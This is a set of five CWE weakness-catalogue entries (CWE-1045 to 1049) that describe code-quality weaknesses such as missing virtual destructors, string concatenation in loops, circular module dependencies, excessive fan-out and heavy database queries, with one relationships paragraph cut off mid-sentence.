CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

Weakness ID : 1045 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

Extended Description

This issue can prevent the software from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1046: Creation of Immutable Text Using String Concatenation

Weakness ID : 1046 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software creates an immutable text string using string concatenation operations.

Extended Description

When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1047: Modules with Circular Dependencies

Weakness ID : 1047 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

Extended Description

As an example, with Java, this weakness might indicate cycles between packages.

This issue makes it more difficult to maintain the software due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1048: Invokable Control Element with Large Number of Outward Calls

Weakness ID : 1048 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.

Extended Description

While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

CWE-1049: Excessive Data Query Operations in a Large Data Table

Weakness ID : 1049 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs a data query with a large number of joins and sub-queries on a large data table.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction.
